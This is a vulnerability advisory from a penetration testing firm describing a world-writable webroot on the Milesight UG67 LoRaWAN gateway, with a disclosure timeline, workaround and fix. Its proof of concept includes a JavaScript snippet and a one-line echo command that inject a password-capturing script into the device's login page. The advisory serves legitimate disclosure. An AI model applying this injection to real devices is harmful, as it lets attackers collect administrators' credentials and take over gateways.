Contact

Contact us

+49 241 510081-0
kontakt@redteam-pentesting.de
Contact form
RedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting Header

Milesight UG67: World Writeable Webroot Allows for Privilege Escalation

Attackers with any user account on a Milesight UG67 LoRaWAN Gateway can gain full root access by manipulation of the webroot.

Details

Introduction

The Milesight UG67 is a robust outdoor LoRaWAN® gateway designed for outdoor deployments.

More Details

Attackers with access to any user account on a Milesight UG67 LoRaWAN Gateway can modify the source files of the web interface, which makes it possible to send all credentials entered via the web interface, including those of administrative accounts, to an attacker-controlled system.

Proof of Concept

Any user account with the ability to perform arbitrary commands on the gateway (see for example rt-sa-2024-003 on how to gain command execution via PostgreSQL) has read and write access to the webroot (located at /www/) of the web interface, since the corresponding source files are world-modifiable:

root@GATEWAY:/www#  ps | grep uhttpd
 3450 root     13892 S    /sbin/uhttpd -f -w 1800 -h /www -r GATEWAY -x /cgi-bin -u /cgi -t 1800 -T 30 -k 20 -A 1 -n 3 -N 100 -D -R -p 127.0.0.1:17080 -p [::1]:17080 -C /etc/https.crt -K /etc/https.key -s 127.0.0.1:17443 -s [::1]:17443
root@GATEWAY:/www#  ls -la
drwxr-xr-x    1 root     root          4096 May  7 23:36 .
drwxr-xr-x    1 root     root          4096 Apr 29 22:42 ..
drwxr-xr-x    1 root     root          4096 May  7 23:21 cgi-bin
drwxrwxrwx    2 root     root           374 Feb 19 20:37 css
drwxrwxrwx    3 root     root            26 Feb 19 20:37 dist
-rw-rw-rw-    1 root     root          1107 Feb 19 09:15 example.html
drwxrwxrwx    2 root     root          1073 Feb 19 20:37 images
-rw-rw-rw-    1 root     root        854674 Feb 19 09:15 index.html
-rw-rw-rw-    1 root     root          8164 Feb 19 09:15 index_mobile.html
drwxrwxrwx    2 root     root           743 Feb 19 20:37 js
drwxrwxrwx    2 root     root           157 Feb 19 20:37 lang
drwxr-xr-x    1 root     root          4096 May  7 21:45 log
-rw-rw-rw-    1 root     root        272918 May  7 23:53 login.html
-rw-rw-rw-    1 root     root          1719 Feb 19 09:15 login_mobile.html
drwxrwxrwx   11 root     root           197 Feb 19 20:37 view

This enables attackers to modify the login page, for example by adding a script component that sends credentials to an attacker-controlled system. The following example was used as proof of concept:

<script>
pwdinput = document.getElementById("password");
pwdinput.addEventListener("change", (ev) => {
   console.log("Password Input changed: ", pwdinput.value);
});
</script>

The following command edits the login page in-place and adds the script above. While this appends the script after the closing </html> tag, common browsers will still execute it:

echo '<script>pwdinput = document.getElementById("password");pwdinput.addEventListener("change", (ev) => { console.log("Password Input changed: ", pwdinput.value); });</script>' >> /www/login.html

As a consequence, all credentials entered into the web interface after compromise, including those of administrative accounts, can be collected by attackers.

Workaround

Manually change the file permissions of the HTML source files of the web interface to remove write-access for all users.

Fix

The default file permissions for the HTML source files of the web interface should be fixed to restrict access to only those accounts that actually require access.

Security Risk

Attackers who are able to execute arbitrary commands on a Milesight UG67 LoRaWAN Gateway, can collect valid user credentials by modifying the webroot of the web interface. If login details of an administrative user can be obtained, this allows attackers to completely take over the device, and extract all configured secrets.

Since all accounts, except the root account, only have a limited shell configured, which does not allow to execute arbitrary commands, this attack requires another vulnerability (like rt-sa-2024-003) to gain shell access. The attack furthermore requires user interaction, since an administrative user has to authenticate to the web interface, or perform an equivalent action that results in observable ubus traffic, while the device is compromised. In combination these vulnerabilities pose a medium risk.

Timeline

  • 2024-04-25 Vulnerability identified
  • 2024-04-29 Customer approved disclosure to vendor
  • 2024-05-14 Vendor notified
  • 2024-06-28 asked Vendor for update
  • 2024-07-03 Vendor will provide Update until end of July
  • 2024-07-24 asked Vendor for update
  • 2024-07-30 Vendor stated: Work in Progress
  • 2024-08-09 Vendor stated: Fix expected Q3/24
  • 2024-09-24 CVE ID requested
  • 2024-09-24 asked Vendor for update
  • 2024-09-24 Vendor stated: Fix in 60.0.0.44
  • 2024-10-04 CVE ID assigned
  • 2024-10-07 asked Vendor for update
  • 2024-10-08 Vendor stated: Fix will be available mid-October
  • 2024-10-18 asked Vendor for update
  • 2024-10-21 Vendor stated: Fix will be available mid-November
  • 2024-11-04 Vendor released fixed version for testing
  • 2024-11-05 Vendor released fixed version
  • 2024-12-10 Customer approved public release of vulnerabiltiy details
  • 2024-12-10 Advisory released

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://jobs.redteam-pentesting.de/